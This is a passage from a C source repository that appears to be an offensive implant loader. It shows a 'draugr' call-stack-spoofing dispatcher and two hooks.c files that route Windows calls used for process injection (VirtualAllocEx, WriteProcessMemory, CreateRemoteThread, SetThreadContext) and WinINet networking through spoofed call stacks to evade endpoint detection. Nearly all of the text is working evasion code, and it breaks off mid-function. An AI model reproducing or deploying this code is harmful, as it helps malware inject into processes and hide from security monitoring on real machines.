draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), NULL, NULL, NULL, NULL, NULL, NULL, NULL ); 361 | } else if ( call->argc == 6 ) { 362 | return draugr_wrapper ( call->ptr, call->ssn, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), ( PVOID ) draugr_arg ( 5 ), NULL, NULL, NULL, NULL, NULL, NULL ); 363 | } else if ( call->argc == 7 ) { 364 | return draugr_wrapper ( call->ptr, call->ssn, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), ( PVOID ) draugr_arg ( 5 ), ( PVOID ) draugr_arg ( 6 ), NULL, NULL, NULL, NULL, NULL ); 365 | } else if ( call->argc == 8 ) { 366 | return draugr_wrapper ( call->ptr, call->ssn, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), ( PVOID ) draugr_arg ( 5 ), ( PVOID ) draugr_arg ( 6 ), ( PVOID ) draugr_arg ( 7 ), NULL, NULL, NULL, NULL ); 367 | } else if ( call->argc == 9 ) { 368 | return draugr_wrapper ( call->ptr, call->ssn, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), ( PVOID ) draugr_arg ( 5 ), ( PVOID ) draugr_arg ( 6 ), ( PVOID ) draugr_arg ( 7 ), ( PVOID ) draugr_arg ( 8 ), NULL, NULL, NULL ); 369 | } else if ( call->argc == 10 ) { 370 | return draugr_wrapper ( call->ptr, call->ssn, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), ( PVOID ) draugr_arg ( 5 ), ( PVOID ) draugr_arg ( 6 ), ( PVOID ) draugr_arg ( 7 ), ( PVOID ) draugr_arg ( 8 ), ( PVOID ) draugr_arg ( 9 ), NULL, NULL ); 371 | } else if ( call->argc == 11 ) { 372 | return draugr_wrapper ( call->ptr, call->ssn, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), ( PVOID ) draugr_arg ( 5 ), ( PVOID ) draugr_arg ( 6 ), ( PVOID ) draugr_arg ( 7 ), ( PVOID ) draugr_arg ( 8 ), ( PVOID ) draugr_arg ( 9 ), ( PVOID ) draugr_arg ( 10 ), NULL ); 373 | } else if ( call->argc == 12 ) { 374 | return draugr_wrapper ( call->ptr, call->ssn, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), ( PVOID ) draugr_arg ( 5 ), ( PVOID ) draugr_arg ( 6 ), ( PVOID ) draugr_arg ( 7 ), ( PVOID ) draugr_arg ( 8 ), ( PVOID ) draugr_arg ( 9 ), ( PVOID ) draugr_arg ( 10 ), ( PVOID ) draugr_arg ( 11 ) ); 375 | } else { 376 | return ( ULONG_PTR ) ( NULL ); 377 | } 378 | } 379 | -------------------------------------------------------------------------------- /loader/src/hooks.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include "tcg.h" 5 | #include "memory.h" 6 | #include "spoof.h" 7 | 8 | DECLSPEC_IMPORT HINTERNET WINAPI WININET$InternetConnectA ( HINTERNET, LPCSTR, INTERNET_PORT, LPCSTR, LPCSTR, DWORD, DWORD, DWORD_PTR ); 9 | DECLSPEC_IMPORT HINTERNET WINAPI WININET$InternetOpenA ( LPCSTR, DWORD, LPCSTR, LPCSTR, DWORD ); 10 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$CloseHandle ( HANDLE ); 11 | DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateFileMappingA ( HANDLE, LPSECURITY_ATTRIBUTES, DWORD, DWORD, DWORD, LPCSTR ); 12 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$CreateProcessA ( LPCSTR, LPSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, BOOL, DWORD, LPVOID, LPCSTR, LPSTARTUPINFOA, LPPROCESS_INFORMATION ); 13 | DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateRemoteThread ( HANDLE, LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD ); 14 | DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateThread ( LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD ); 15 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$DuplicateHandle ( HANDLE, HANDLE, HANDLE, LPHANDLE, DWORD, BOOL, DWORD ); 16 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$GetThreadContext ( HANDLE, LPCONTEXT ); 17 | DECLSPEC_IMPORT HMODULE WINAPI KERNEL32$LoadLibraryA ( LPCSTR ); 18 | DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$MapViewOfFile ( HANDLE, DWORD, DWORD, DWORD, SIZE_T ); 19 | DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$OpenProcess ( DWORD, BOOL, DWORD ); 20 | DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$OpenThread ( DWORD, BOOL, DWORD ); 21 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$ReadProcessMemory ( HANDLE, LPCVOID, LPVOID, SIZE_T, SIZE_T * ); 22 | DECLSPEC_IMPORT DWORD WINAPI KERNEL32$ResumeThread ( HANDLE ); 23 | DECLSPEC_IMPORT VOID WINAPI KERNEL32$RtlCaptureContext ( PCONTEXT ); 24 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$SetThreadContext ( HANDLE, const CONTEXT * ); 25 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$UnmapViewOfFile ( LPCVOID ); 26 | DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$VirtualAlloc ( LPVOID, SIZE_T, DWORD, DWORD ); 27 | DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$VirtualAllocEx ( HANDLE, LPVOID, SIZE_T, DWORD, DWORD ); 28 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualFree ( LPVOID, SIZE_T, DWORD ); 29 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualProtect ( LPVOID, SIZE_T, DWORD, PDWORD ); 30 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualProtectEx ( HANDLE, LPVOID, SIZE_T, DWORD, PDWORD ); 31 | DECLSPEC_IMPORT SIZE_T WINAPI KERNEL32$VirtualQuery ( LPCVOID, PMEMORY_BASIC_INFORMATION, SIZE_T ); 32 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$WriteProcessMemory ( HANDLE, LPVOID, LPCVOID, SIZE_T, SIZE_T * ); 33 | DECLSPEC_IMPORT HRESULT WINAPI OLE32$CoCreateInstance ( REFCLSID, LPUNKNOWN, DWORD, REFIID, LPVOID * ); 34 | DECLSPEC_IMPORT ULONG NTAPI NTDLL$NtContinue ( CONTEXT *, BOOLEAN ); 35 | 36 | HINTERNET WINAPI _InternetOpenA ( LPCSTR lpszAgent, DWORD dwAccessType, LPCSTR lpszProxy, LPCSTR lpszProxyBypass, DWORD dwFlags ) 37 | { 38 | FUNCTION_CALL call = { 0 }; 39 | 40 | call.ptr = ( PVOID ) ( WININET$InternetOpenA ); 41 | call.argc = 5; 42 | call.args [ 0 ] = spoof_arg ( lpszAgent ); 43 | call.args [ 1 ] = spoof_arg ( dwAccessType ); 44 | call.args [ 2 ] = spoof_arg ( lpszProxy ); 45 | call.args [ 3 ] = spoof_arg ( lpszProxyBypass ); 46 | call.args [ 4 ] = spoof_arg ( dwFlags ); 47 | 48 | return ( HINTERNET ) spoof_call ( &call ); 49 | } 50 | 51 | HINTERNET WINAPI _InternetConnectA ( HINTERNET hInternet, LPCSTR lpszServerName, INTERNET_PORT nServerPort, LPCSTR lpszUserName, LPCSTR lpszPassword, DWORD dwService, DWORD dwFlags, DWORD_PTR dwContext ) 52 | { 53 | FUNCTION_CALL call = { 0 }; 54 | 55 | call.ptr = ( PVOID ) ( WININET$InternetConnectA ); 56 | call.argc = 8; 57 | call.args [ 0 ] = spoof_arg ( hInternet ); 58 | call.args [ 1 ] = spoof_arg ( lpszServerName ); 59 | call.args [ 2 ] = spoof_arg ( nServerPort ); 60 | call.args [ 3 ] = spoof_arg ( lpszUserName ); 61 | call.args [ 4 ] = spoof_arg ( lpszPassword ); 62 | call.args [ 5 ] = spoof_arg ( dwService ); 63 | call.args [ 6 ] = spoof_arg ( dwFlags ); 64 | call.args [ 7 ] = spoof_arg ( dwContext ); 65 | 66 | return ( HINTERNET ) spoof_call ( &call ); 67 | } 68 | 69 | BOOL WINAPI _CloseHandle ( HANDLE hObject ) 70 | { 71 | FUNCTION_CALL call = { 0 }; 72 | 73 | call.ptr = ( PVOID ) ( KERNEL32$CloseHandle ); 74 | call.argc = 1; 75 | 76 | call.args [ 0 ] = spoof_arg ( hObject ); 77 | 78 | return ( BOOL ) spoof_call ( &call ); 79 | } 80 | 81 | HANDLE WINAPI _CreateFileMappingA ( HANDLE hFile, LPSECURITY_ATTRIBUTES lpFileMappingAttributes, DWORD flProtect, DWORD dwMaximumSizeHigh, DWORD dwMaximumSizeLow, LPCSTR lpName ) 82 | { 83 | FUNCTION_CALL call = { 0 }; 84 | 85 | call.ptr = ( PVOID ) ( KERNEL32$CreateFileMappingA ); 86 | call.argc = 6; 87 | 88 | call.args [ 0 ] = spoof_arg ( hFile ); 89 | call.args [ 1 ] = spoof_arg ( lpFileMappingAttributes ); 90 | call.args [ 2 ] = spoof_arg ( flProtect ); 91 | call.args [ 3 ] = spoof_arg ( dwMaximumSizeHigh ); 92 | call.args [ 4 ] = spoof_arg ( dwMaximumSizeLow ); 93 | call.args [ 5 ] = spoof_arg ( lpName ); 94 | 95 | return ( HANDLE ) spoof_call ( &call ); 96 | } 97 | 98 | BOOL _CreateProcessA ( LPCSTR lpApplicationName, LPSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes, LPSECURITY_ATTRIBUTES lpThreadAttributes, BOOL bInheritHandles, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCSTR lpCurrentDirectory, LPSTARTUPINFOA lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation ) 99 | { 100 | FUNCTION_CALL call = { 0 }; 101 | 102 | call.ptr = ( PVOID ) ( KERNEL32$CreateProcessA ); 103 | call.argc = 10; 104 | 105 | call.args [ 0 ] = spoof_arg ( lpApplicationName ); 106 | call.args [ 1 ] = spoof_arg ( lpCommandLine ); 107 | call.args [ 2 ] = spoof_arg ( lpProcessAttributes ); 108 | call.args [ 3 ] = spoof_arg ( lpThreadAttributes ); 109 | call.args [ 4 ] = spoof_arg ( bInheritHandles ); 110 | call.args [ 5 ] = spoof_arg ( dwCreationFlags ); 111 | call.args [ 6 ] = spoof_arg ( lpEnvironment ); 112 | call.args [ 7 ] = spoof_arg ( lpCurrentDirectory ); 113 | call.args [ 8 ] = spoof_arg ( lpStartupInfo ); 114 | call.args [ 9 ] = spoof_arg ( lpProcessInformation ); 115 | 116 | return ( BOOL ) spoof_call ( &call ); 117 | } 118 | 119 | HANDLE WINAPI _CreateRemoteThread ( HANDLE hProcess, LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId ) 120 | { 121 | FUNCTION_CALL call = { 0 }; 122 | 123 | call.ptr = ( PVOID ) ( KERNEL32$CreateRemoteThread ); 124 | call.argc = 7; 125 | 126 | call.args [ 0 ] = spoof_arg ( hProcess ); 127 | call.args [ 1 ] = spoof_arg ( lpThreadAttributes ); 128 | call.args [ 2 ] = spoof_arg ( dwStackSize ); 129 | call.args [ 3 ] = spoof_arg ( lpStartAddress ); 130 | call.args [ 4 ] = spoof_arg ( lpParameter ); 131 | call.args [ 5 ] = spoof_arg ( dwCreationFlags ); 132 | call.args [ 6 ] = spoof_arg ( lpThreadId ); 133 | 134 | return ( HANDLE ) spoof_call ( &call ); 135 | } 136 | 137 | HANDLE WINAPI _CreateThread ( LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId ) 138 | { 139 | FUNCTION_CALL call = { 0 }; 140 | 141 | call.ptr = ( PVOID ) ( KERNEL32$CreateThread ); 142 | call.argc = 6; 143 | 144 | call.args [ 0 ] = spoof_arg ( lpThreadAttributes ); 145 | call.args [ 1 ] = spoof_arg ( dwStackSize ); 146 | call.args [ 2 ] = spoof_arg ( lpStartAddress ); 147 | call.args [ 3 ] = spoof_arg ( lpParameter ); 148 | call.args [ 4 ] = spoof_arg ( dwCreationFlags ); 149 | call.args [ 5 ] = spoof_arg ( lpThreadId ); 150 | 151 | return ( HANDLE ) spoof_call ( &call ); 152 | } 153 | 154 | HRESULT WINAPI _CoCreateInstance ( REFCLSID rclsid, LPUNKNOWN pUnkOuter, DWORD dwClsContext, REFIID riid, LPVOID * ppv ) 155 | { 156 | FUNCTION_CALL call = { 0 }; 157 | 158 | call.ptr = ( PVOID ) ( OLE32$CoCreateInstance ); 159 | call.argc = 5; 160 | 161 | call.args [ 0 ] = spoof_arg ( rclsid ); 162 | call.args [ 1 ] = spoof_arg ( pUnkOuter ); 163 | call.args [ 2 ] = spoof_arg ( dwClsContext ); 164 | call.args [ 3 ] = spoof_arg ( riid ); 165 | call.args [ 4 ] = spoof_arg ( ppv ); 166 | 167 | return ( HRESULT ) spoof_call ( &call ); 168 | } 169 | 170 | BOOL WINAPI _DuplicateHandle ( HANDLE hSourceProcessHandle, HANDLE hSourceHandle, HANDLE hTargetProcessHandle, LPHANDLE lpTargetHandle, DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwOptions ) 171 | { 172 | FUNCTION_CALL call = { 0 }; 173 | 174 | call.ptr = ( PVOID ) ( KERNEL32$DuplicateHandle ); 175 | call.argc = 7; 176 | 177 | call.args [ 0 ] = spoof_arg ( hSourceProcessHandle ); 178 | call.args [ 1 ] = spoof_arg ( hSourceHandle ); 179 | call.args [ 2 ] = spoof_arg ( hTargetProcessHandle ); 180 | call.args [ 3 ] = spoof_arg ( lpTargetHandle ); 181 | call.args [ 4 ] = spoof_arg ( dwDesiredAccess ); 182 | call.args [ 5 ] = spoof_arg ( bInheritHandle ); 183 | call.args [ 6 ] = spoof_arg ( dwOptions ); 184 | 185 | return ( BOOL ) spoof_call ( &call ); 186 | } 187 | 188 | HMODULE WINAPI _LoadLibraryA ( LPCSTR lpLibFileName ) 189 | { 190 | FUNCTION_CALL call = { 0 }; 191 | 192 | call.ptr = ( PVOID ) ( KERNEL32$LoadLibraryA ); 193 | call.argc = 1; 194 | 195 | call.args [ 0 ] = spoof_arg ( lpLibFileName ); 196 | 197 | return ( HMODULE ) spoof_call ( &call ); 198 | } 199 | 200 | BOOL WINAPI _GetThreadContext ( HANDLE hThread, LPCONTEXT lpContext ) 201 | { 202 | FUNCTION_CALL call = { 0 }; 203 | 204 | call.ptr = ( PVOID ) ( KERNEL32$GetThreadContext ); 205 | call.argc = 2; 206 | 207 | call.args [ 0 ] = spoof_arg ( hThread ); 208 | call.args [ 1 ] = spoof_arg ( lpContext ); 209 | 210 | return ( BOOL ) spoof_call ( &call ); 211 | } 212 | 213 | LPVOID WINAPI _MapViewOfFile ( HANDLE hFileMappingObject, DWORD dwDesiredAccess, DWORD dwFileOffsetHigh, DWORD dwFileOffsetLow, SIZE_T dwNumberOfBytesToMap ) 214 | { 215 | FUNCTION_CALL call = { 0 }; 216 | 217 | call.ptr = ( PVOID ) ( KERNEL32$MapViewOfFile ); 218 | call.argc = 5; 219 | 220 | call.args [ 0 ] = spoof_arg ( hFileMappingObject ); 221 | call.args [ 1 ] = spoof_arg ( dwDesiredAccess ); 222 | call.args [ 2 ] = spoof_arg ( dwFileOffsetHigh ); 223 | call.args [ 3 ] = spoof_arg ( dwFileOffsetLow ); 224 | call.args [ 4 ] = spoof_arg ( dwNumberOfBytesToMap ); 225 | 226 | return ( LPVOID ) spoof_call ( &call ); 227 | } 228 | 229 | HANDLE WINAPI _OpenProcess ( DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwProcessId ) 230 | { 231 | FUNCTION_CALL call = { 0 }; 232 | 233 | call.ptr = ( PVOID ) ( KERNEL32$OpenProcess ); 234 | call.argc = 3; 235 | 236 | call.args [ 0 ] = spoof_arg ( dwDesiredAccess ); 237 | call.args [ 1 ] = spoof_arg ( bInheritHandle ); 238 | call.args [ 2 ] = spoof_arg ( dwProcessId ); 239 | 240 | return ( HANDLE ) spoof_call ( &call ); 241 | } 242 | 243 | HANDLE WINAPI _OpenThread ( DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwThreadId ) 244 | { 245 | FUNCTION_CALL call = { 0 }; 246 | 247 | call.ptr = ( PVOID ) ( KERNEL32$OpenThread ); 248 | call.argc = 3; 249 | 250 | call.args [ 0 ] = spoof_arg ( dwDesiredAccess ); 251 | call.args [ 1 ] = spoof_arg ( bInheritHandle ); 252 | call.args [ 2 ] = spoof_arg ( dwThreadId ); 253 | 254 | return ( HANDLE ) spoof_call ( &call ); 255 | } 256 | 257 | BOOL WINAPI _ReadProcessMemory ( HANDLE hProcess, LPCVOID lpBaseAddress, LPVOID lpBuffer, SIZE_T nSize, SIZE_T * lpNumberOfBytesRead ) 258 | { 259 | FUNCTION_CALL call = { 0 }; 260 | 261 | call.ptr = ( PVOID ) ( KERNEL32$ReadProcessMemory ); 262 | call.argc = 5; 263 | 264 | call.args [ 0 ] = spoof_arg ( hProcess ); 265 | call.args [ 1 ] = spoof_arg ( lpBaseAddress ); 266 | call.args [ 2 ] = spoof_arg ( lpBuffer ); 267 | call.args [ 3 ] = spoof_arg ( nSize ); 268 | call.args [ 4 ] = spoof_arg ( lpNumberOfBytesRead ); 269 | 270 | return ( BOOL ) spoof_call ( &call ); 271 | } 272 | 273 | DWORD WINAPI _ResumeThread ( HANDLE hThread ) 274 | { 275 | FUNCTION_CALL call = { 0 }; 276 | 277 | call.ptr = ( PVOID ) ( KERNEL32$ResumeThread ); 278 | call.argc = 1; 279 | 280 | call.args [ 0 ] = spoof_arg ( hThread ); 281 | 282 | return ( DWORD ) spoof_call ( &call ); 283 | } 284 | 285 | BOOL WINAPI _SetThreadContext ( HANDLE hThread, const CONTEXT * lpContext ) 286 | { 287 | FUNCTION_CALL call = { 0 }; 288 | 289 | call.ptr = ( PVOID ) ( KERNEL32$SetThreadContext ); 290 | call.argc = 2; 291 | 292 | call.args [ 0 ] = spoof_arg ( hThread ); 293 | call.args [ 1 ] = spoof_arg ( lpContext ); 294 | 295 | return ( BOOL ) spoof_call ( &call ); 296 | } 297 | 298 | BOOL WINAPI _UnmapViewOfFile ( LPCVOID lpBaseAddress ) 299 | { 300 | FUNCTION_CALL call = { 0 }; 301 | 302 | call.ptr = ( PVOID ) ( KERNEL32$UnmapViewOfFile ); 303 | call.argc = 1; 304 | 305 | call.args [ 0 ] = spoof_arg ( lpBaseAddress ); 306 | 307 | return ( BOOL ) spoof_call ( &call ); 308 | } 309 | 310 | LPVOID WINAPI _VirtualAlloc ( LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect ) 311 | { 312 | FUNCTION_CALL call = { 0 }; 313 | 314 | call.ptr = ( PVOID ) ( KERNEL32$VirtualAlloc ); 315 | call.argc = 4; 316 | 317 | call.args [ 0 ] = spoof_arg ( lpAddress ); 318 | call.args [ 1 ] = spoof_arg ( dwSize ); 319 | call.args [ 2 ] = spoof_arg ( flAllocationType ); 320 | call.args [ 3 ] = spoof_arg ( flProtect ); 321 | 322 | return ( LPVOID ) spoof_call ( &call ); 323 | } 324 | 325 | LPVOID WINAPI _VirtualAllocEx ( HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect ) 326 | { 327 | FUNCTION_CALL call = { 0 }; 328 | 329 | call.ptr = ( PVOID ) ( KERNEL32$VirtualAllocEx ); 330 | call.argc = 5; 331 | 332 | call.args [ 0 ] = spoof_arg ( hProcess ); 333 | call.args [ 1 ] = spoof_arg ( lpAddress ); 334 | call.args [ 2 ] = spoof_arg ( dwSize ); 335 | call.args [ 3 ] = spoof_arg ( flAllocationType ); 336 | call.args [ 4 ] = spoof_arg ( flProtect ); 337 | 338 | return ( LPVOID ) spoof_call ( &call ); 339 | } 340 | 341 | BOOL WINAPI _VirtualFree ( LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType ) 342 | { 343 | FUNCTION_CALL call = { 0 }; 344 | 345 | call.ptr = ( PVOID ) ( KERNEL32$VirtualFree ); 346 | call.argc = 3; 347 | 348 | call.args [ 0 ] = spoof_arg ( lpAddress ); 349 | call.args [ 1 ] = spoof_arg ( dwSize ); 350 | call.args [ 2 ] = spoof_arg ( dwFreeType ); 351 | 352 | return ( BOOL ) spoof_call ( &call ); 353 | } 354 | 355 | BOOL WINAPI _VirtualProtect ( LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect ) 356 | { 357 | FUNCTION_CALL call = { 0 }; 358 | 359 | call.ptr = ( PVOID ) ( KERNEL32$VirtualProtect ); 360 | call.argc = 4; 361 | 362 | call.args [ 0 ] = spoof_arg ( lpAddress ); 363 | call.args [ 1 ] = spoof_arg ( dwSize ); 364 | call.args [ 2 ] = spoof_arg ( flNewProtect ); 365 | call.args [ 3 ] = spoof_arg ( lpflOldProtect ); 366 | 367 | return ( BOOL ) spoof_call ( &call ); 368 | } 369 | 370 | BOOL WINAPI _VirtualProtectEx ( HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect ) 371 | { 372 | FUNCTION_CALL call = { 0 }; 373 | 374 | call.ptr = ( PVOID ) ( KERNEL32$VirtualProtectEx ); 375 | call.argc = 5; 376 | 377 | call.args [ 0 ] = spoof_arg ( hProcess ); 378 | call.args [ 1 ] = spoof_arg ( lpAddress ); 379 | call.args [ 2 ] = spoof_arg ( dwSize ); 380 | call.args [ 3 ] = spoof_arg ( flNewProtect ); 381 | call.args [ 4 ] = spoof_arg ( lpflOldProtect ); 382 | 383 | return ( BOOL ) spoof_call ( &call ); 384 | } 385 | 386 | SIZE_T WINAPI _VirtualQuery ( LPCVOID lpAddress, PMEMORY_BASIC_INFORMATION lpBuffer, SIZE_T dwLength ) 387 | { 388 | FUNCTION_CALL call = { 0 }; 389 | 390 | call.ptr = ( PVOID ) ( KERNEL32$VirtualQuery ); 391 | call.argc = 3; 392 | 393 | call.args [ 0 ] = spoof_arg ( lpAddress ); 394 | call.args [ 1 ] = spoof_arg ( lpBuffer ); 395 | call.args [ 2 ] = spoof_arg ( dwLength ); 396 | 397 | return ( SIZE_T ) spoof_call ( &call ); 398 | } 399 | 400 | BOOL WINAPI _WriteProcessMemory ( HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID lpBuffer, SIZE_T nSize, SIZE_T * lpNumberOfBytesWritten ) 401 | { 402 | FUNCTION_CALL call = { 0 }; 403 | 404 | call.ptr = ( PVOID ) ( KERNEL32$WriteProcessMemory ); 405 | call.argc = 5; 406 | 407 | call.args [ 0 ] = spoof_arg ( hProcess ); 408 | call.args [ 1 ] = spoof_arg ( lpBaseAddress ); 409 | call.args [ 2 ] = spoof_arg ( lpBuffer ); 410 | call.args [ 3 ] = spoof_arg ( nSize ); 411 | call.args [ 4 ] = spoof_arg ( lpNumberOfBytesWritten ); 412 | 413 | return ( BOOL ) spoof_call ( &call ); 414 | } 415 | -------------------------------------------------------------------------------- /local-loader/src/hooks.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include "tcg.h" 5 | #include "memory.h" 6 | #include "spoof.h" 7 | 8 | DECLSPEC_IMPORT HINTERNET WINAPI WININET$InternetConnectA ( HINTERNET, LPCSTR, INTERNET_PORT, LPCSTR, LPCSTR, DWORD, DWORD, DWORD_PTR ); 9 | DECLSPEC_IMPORT HINTERNET WINAPI WININET$InternetOpenA ( LPCSTR, DWORD, LPCSTR, LPCSTR, DWORD ); 10 | 11 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$CloseHandle ( HANDLE ); 12 | DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateFileMappingA ( HANDLE, LPSECURITY_ATTRIBUTES, DWORD, DWORD, DWORD, LPCSTR ); 13 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$CreateProcessA ( LPCSTR, LPSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, BOOL, DWORD, LPVOID, LPCSTR, LPSTARTUPINFOA, LPPROCESS_INFORMATION ); 14 | DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateRemoteThread ( HANDLE, LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD ); 15 | DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateThread ( LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD ); 16 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$DuplicateHandle ( HANDLE, HANDLE, HANDLE, LPHANDLE, DWORD, BOOL, DWORD ); 17 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$GetThreadContext ( HANDLE, LPCONTEXT ); 18 | DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$MapViewOfFile ( HANDLE, DWORD, DWORD, DWORD, SIZE_T ); 19 | DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$OpenProcess ( DWORD, BOOL, DWORD ); 20 | DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$OpenThread ( DWORD, BOOL, DWORD ); 21 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$ReadProcessMemory ( HANDLE, LPCVOID, LPVOID, SIZE_T, SIZE_T * ); 22 | DECLSPEC_IMPORT DWORD WINAPI KERNEL32$ResumeThread ( HANDLE ); 23 | DECLSPEC_IMPORT VOID WINAPI KERNEL32$RtlCaptureContext ( PCONTEXT ); 24 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$SetThreadContext ( HANDLE, const CONTEXT * ); 25 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$UnmapViewOfFile ( LPCVOID ); 26 | DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$VirtualAlloc ( LPVOID, SIZE_T, DWORD, DWORD ); 27 | DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$VirtualAllocEx ( HANDLE, LPVOID, SIZE_T, DWORD, DWORD ); 28 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualFree ( LPVOID, SIZE_T, DWORD ); 29 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualProtect ( LPVOID, SIZE_T, DWORD, PDWORD ); 30 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualProtectEx ( HANDLE, LPVOID, SIZE_T, DWORD, PDWORD ); 31 | DECLSPEC_IMPORT SIZE_T WINAPI KERNEL32$VirtualQuery ( LPCVOID, PMEMORY_BASIC_INFORMATION, SIZE_T ); 32 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$WriteProcessMemory ( HANDLE, LPVOID, LPCVOID, SIZE_T, SIZE_T * ); 33 | 34 | DECLSPEC_IMPORT HRESULT WINAPI OLE32$CoCreateInstance ( REFCLSID, LPUNKNOWN, DWORD, REFIID, LPVOID * ); 35 | 36 | DECLSPEC_IMPORT ULONG NTAPI NTDLL$NtContinue ( CONTEXT *, BOOLEAN ); 37 | 38 | // cannot put this here because it fails to build 39 | // to PIC when hooks.x64.o is merged into the loader 40 | // extern MEMORY_LAYOUT g_memory; 41 | 42 | HINTERNET WINAPI _InternetOpenA ( LPCSTR lpszAgent, DWORD dwAccessType, LPCSTR lpszProxy, LPCSTR lpszProxyBypass, DWORD dwFlags ) 43 | { 44 | FUNCTION_CALL call = { 0 }; 45 | 46 | call.ptr = ( PVOID ) ( WININET$InternetOpenA ); 47 | call.argc = 5; 48 | call.args [ 0 ] = spoof_arg ( lpszAgent ); 49 | call.args [ 1 ] = spoof_arg ( dwAccessType ); 50 | call.args [ 2 ] = spoof_arg ( lpszProxy ); 51 | call.args [ 3 ] = spoof_arg ( lpszProxyBypass ); 52 | call.args [ 4 ] = spoof_arg ( dwFlags ); 53 | 54 | return ( HINTERNET ) spoof_call ( &call ); 55 | } 56 | 57 | HINTERNET WINAPI _InternetConnectA ( HINTERNET hInternet, LPCSTR lpszServerName, INTERNET_PORT nServerPort, LPCSTR lpszUserName, LPCSTR lpszPassword, DWORD dwService, DWORD dwFlags, DWORD_PTR dwContext ) 58 | { 